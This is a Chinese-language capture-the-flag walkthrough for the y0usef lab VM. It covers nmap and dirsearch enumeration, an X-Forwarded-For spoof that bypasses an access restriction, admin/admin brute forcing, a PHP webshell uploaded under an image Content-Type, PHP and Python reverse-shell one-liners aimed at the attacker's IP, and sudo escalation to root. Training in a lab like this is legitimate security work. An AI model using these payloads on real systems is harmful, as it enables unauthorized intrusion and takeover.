渗透测试——y0usef靶机渗透提权详细过程(插件伪造请求头)

Y0usef 主要目标是获得普通用户和 root 权限的 flag。渗透过程主要涉及 服务枚举、WEB 目录爆破、HTTP 访问控制绕过、文件上传漏洞利用、反向 shell 获取初始权限,再进行提权。

涉及知识点:

  • x-Forward-For伪造请求头
  • 系统弱口令与文件上传
  • SUDO提权

文章目录

    • 靶机设置
    • 信息收集
      • http服务
    • 漏洞利用:访问控制绕过
      • X-Forwarded-For伪造请求头原理
      • 伪造请求头
      • 方法一:使用 HackBar (最推荐)
      • 方法二:使用 ModHeader 插件 (日常最通用)
      • 系统SQL注入尝试
      • 系统弱口令爆破
    • 漏洞利用:系统文件上传
      • 上传shell文件
      • 命令执行反弹shell
    • 提权
      • 敏感文件权限
      • SUDO提权
      • SUID提权
      • PwnKit服务越权(失败)
      • X.Org服务越权(失败)
      • SSH登陆
    • 总结

靶机设置

我们还是老样子,分别在VMwarevirtualBox里打开kali以及目标机器,并且设置两台机器之间可以互相访问(模拟公网中攻击者与Web服务器的过程):

我们知道目标机器所处网段为192.168.56.0/24,接下来我们就需要对其进行信息收集:

此时我们知道的是:

  • kali的IP地址为:192.168.56.102
  • 目标机器的网段为:192.168.56.0/24

所以接下来我们要做的就是探测其具体IP以及开放的服务以及端口;


信息收集

这里我们还是使用nmap对目标机器进行详细的信息收集:

bash 复制代码
# 简单IP探测
nmap -sP 192.168.56.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.113

我们得到目标机器IP地址为192.168.56.113

接下来我们就要收集其开放的端口以及服务了:

我们可以看到目标机器只开放了22端口以及80端口:

  • 22端口:ssh服务
  • 80端口:http服务

http服务

根据上述,所以我们接下来就去Web网页能收集到什么信息,访问网址:http://192.168.56.113/

没想到得到这样页面,没有服务?Ctrl+U查看源代码也没有可利用的信息;

所以接下来我们就只能Web目录枚举了:

还是老样子用dirsearch对网页进行扫描:

bash 复制代码
python dirsearch.py -u http://192.168.56.113/

得到结果如下图:

  • /adminstration:301 说明目录真实存在
  • /index.php/login/:可能是后台登陆页面

(1)尝试访问http://192.168.56.113/**adminstration**/页面:

发现无权限访问,Web服务应该设置了身份认证之类的限制;

(2)访问http://192.168.56.113/**index.php/login**,发现返回的确实默认页面:

Web枚举扫描发现两个页面均无可用信息,接下来我们又应该怎么办?

漏洞利用:访问控制绕过

有以下几种思路:

  • 访问控制绕过:对已存在但受限的路径(403/only localhost)尝试请求头伪造、方法切换、路径变形
  • 逻辑与配置缺陷探测:关注重写路由、PATH_INFO、参数拼接导致的逻辑绕过或包含问题

常见的手段如下:

请求头伪造(最常见):

复制代码
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: http://127.0.0.1/

路径层绕过

  • /adminstration/.
  • /adminstration/...;
  • /adminstration/%2e/

请求方法绕过 :(最经典的就是tomcat的PUT上传

  • GET → POST
  • HEAD → GET

X-Forwarded-For伪造请求头原理

这里我们简单讲一下原理:

一句话原理:
X-Forwarded-For 等请求头本来是给反向代理 用来传递"真实客户端 IP"的,但它们本质是普通 HTTP 头部,客户端可以随意伪造;若后端错误信任这>些头,就会被绕过访问控制。


很多 Web 应用为了"图省事",在应用层做了如下限制逻辑:

关键问题:

  • 开发者错误地信任了 HTTP 请求头
  • 认为 X-Forwarded-For、X-Real-IP 等字段是"可信的真实来源 IP"

而实际上:

  • 这些请求头完全由客户端控制,可以随意伪造
    要点总结:

  • X-Forwarded-For / X-Real-IP / Client-IP 都是不可信输入

  • 只有服务器生成的 REMOTE_ADDR 才相对可靠

  • 信任可控请求头 ⇒ 访问控制可被绕过


伪造请求头

所以我们可以尝试抓包对其进行修改:

正常访问时:

我们伪造请求头后,添加语句:

bash 复制代码
X-Forwarded-For: 127.0.0.1

结果如下:

我们可以看到出现了一个新的页面,包括用户名以及密码框等新信息;

但是这只是在bp里显示,我们有应该如何利用里面的usernamepassword 参数呢?

(接下来的可是干货了)

方法一:使用 HackBar (最推荐)

HackBar 是专门为渗透测试设计的,操作非常直接。

  1. 在浏览器中按 F12 打开开发者工具,点击 HackBar 标签。
  2. 点击 Load URL,加载你当前的访问地址。
  3. 勾选 Custom Header (不同版本的 HackBar 界面略有不同,有的在 Post Data 下方,有的需要点击 Enable)。
  4. 在输入框中填入:X-Forwarded-For: 127.0.0.1
  5. 点击 Execute

注意: 这样页面就会在浏览器的主窗口中渲染出来,你可以直接在输入框里填入 usernamepassword 进行测试。

(成功访问;)

方法二:使用 ModHeader 插件 (日常最通用)

如果你不习惯用 HackBar 或 Burp,可以安装一个名为 ModHeader 的浏览器插件:

  1. 安装后点击插件图标。
  2. Name 处填入 X-Forwarded-For
  3. Value 处填入 127.0.0.1
  4. 只要这个插件处于开启状态,你访问任何网站都会带上这个伪造的 IP。

成功访问;


系统SQL注入尝试

看到框框了,这我们应该想到什么?

这里我们再次使用bp抓包,并对其尝试进行SQL注入:

(我们修改后访问,响应码 也变为200了)

SQL注入的方法:(那就有很多种了)

  • 针对参数,bp使用Intruder模块,字典尝试爆破;
  • 使用sqlmap测试;

发现两者均没有结果;只能换个方向继续收集信息。

系统弱口令爆破

既然是思路错了,换个方向,直接使用弱口令爆破账号密码:

也是成功爆破出账号密码:admin / admin

进入到一个新页面:

漏洞利用:系统文件上传

上传shell文件

我们进入后发现DashboardUsers页面都是空白页面,只有Upload file存在功能:

我们尝试上传一个一句话木马,看看是否有限制;

文件上传常见绕过方法

  • 文件扩展名
  • 文件类型
  • 在数据段位置添加真实的图片的头部信息,将PHP的Webshell附加到图片数据的最后部分

通过尝试,发现上传.php和.txt文件等文本文件内容是一样的;

所以我们尝试一下修改成shell文件内容 + 图片后缀名

随便搞一条语句:

bash 复制代码
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

点击上传之后,修改Content-Type: image/png

成功得到上传的文件路径:files/17685465791.php

命令执行反弹shell

尝试访问,空白(说明shell文件上传成功):

使用cmd参数执行一下命令:

(知道用户为www-data系统用户);

kali创建监听:

反弹一个shell到kali(192.168.56.102)上:

bash 复制代码
php -r '$sock=fsockopen("192.168.56.102",9001);exec("/bin/sh <&3 >&3 2>&3");'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

我都服了,明明目标机器上就是有PHP,sh,perl等语言,偏偏只有python才能运行成功。。。(无语了)

提权

敏感文件权限

(1)查看/etc/passwd的敏感文件权限

无法利用;

SUDO提权

需要密码,无法利用;

SUID提权

输入命令寻找可利用的s程序:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

发现了很多没见过的程序,于是上网查资料看哪些可以利用:

PwnKit服务越权(失败)

判断是否可用(PwnKit)

bash 复制代码
pkexec --version

关注点

  • polkit < 0.120 → 高概率可利用
  • 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

可以看到处于可利用的版本内;

X.Org服务越权(失败)

判断是否可用(PwnKit)

bash 复制代码
pkexec --version

关注点

  • polkit < 0.120 → 高概率可利用
  • 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

同理,处于可利用的版本内;

但是都很遗憾,试了没能尝试成功;

SSH登陆

随后继续在目标机器搜索信息,发现了一个user.txt文件:

内容是一个用户的ssh登陆账号密码:

bash 复制代码
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

账号密码:yousef / yousef 123

尝试登陆:

bash 复制代码
ssh yousef@192.168.56.113 -p 22
# 输入密码即可

成功登陆:

最后还是通过SUDO提权获得了root权限:

输入命令su root,并输入密码即可变为root用户:

最后得到flag:

结果:

完整命令展示:

bash 复制代码
# 进入到yousef用户
yousef@yousef-VirtualBox:~$ id
id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

# 查看权限
yousef@yousef-VirtualBox:~$ sudo -l
sudo -l
[sudo] password for yousef: yousef123

Matching Defaults entries for yousef on yousef-VirtualBox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yousef may run the following commands on yousef-VirtualBox:
    (ALL : ALL) ALL

# SUDO越权
yousef@yousef-VirtualBox:~$ su root
su root
Password: yousef123

# 成功切换
root@yousef-VirtualBox:/home/yousef# id
id
uid=0(root) gid=0(root) groups=0(root)
root@yousef-VirtualBox:/home/yousef# cd /root
cd /root
root@yousef-VirtualBox:~# ls -a
ls -a
.  ..  .bash_history  .bashrc  .profile  root.txt

# 得到flag
root@yousef-VirtualBox:~# cat root.txt
cat root.txt
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
root@yousef-VirtualBox:~#

总结

本次主要是通过伪造请求头进入了系统,随后与kali建立shell连接控制主机,最后通过SUDO提权getshell;

涉及知识点:

  • x-Forward-For伪造请求头
  • 系统弱口令与文件上传
  • SUDO提权

期待下次再见;

相关推荐
CHENKONG_CK2 小时前
赋能智造:RFID 技术重塑新能源汽车总装车间新生态
网络·自动化·汽车·射频工程·生产制造·rfid
gaize12132 小时前
阿里云服务器用途配置选购指南与最新价格表
服务器·阿里云·云计算
txinyu的博客2 小时前
TCP的半包粘包问题
网络·网络协议·tcp/ip
企业对冲系统官2 小时前
期货与期权一体化平台风险收益评估方法与模型实现
运维·服务器·开发语言·数据库·python·自动化
YQ_012 小时前
【Linux】解决两个USB设备VID/PID/序列号全一样无法区分的问题 (udev物理端口绑定)
linux·运维·服务器
MLGDOU2 小时前
Chatsdk模型接口的设计
网络·c++
上海云盾-小余2 小时前
能用到高防ip的业务类型都有哪些
网络·网络协议·tcp/ip
小李独爱秋3 小时前
计算机网络经典问题透视:狭义与广义IP电话的深度解析及连接方式全览
网络·tcp/ip·计算机网络·信息与通信·ip·电话
haluhalu.3 小时前
深入理解Linux信号机制:中断、用户态与内核态
linux·运维·服务器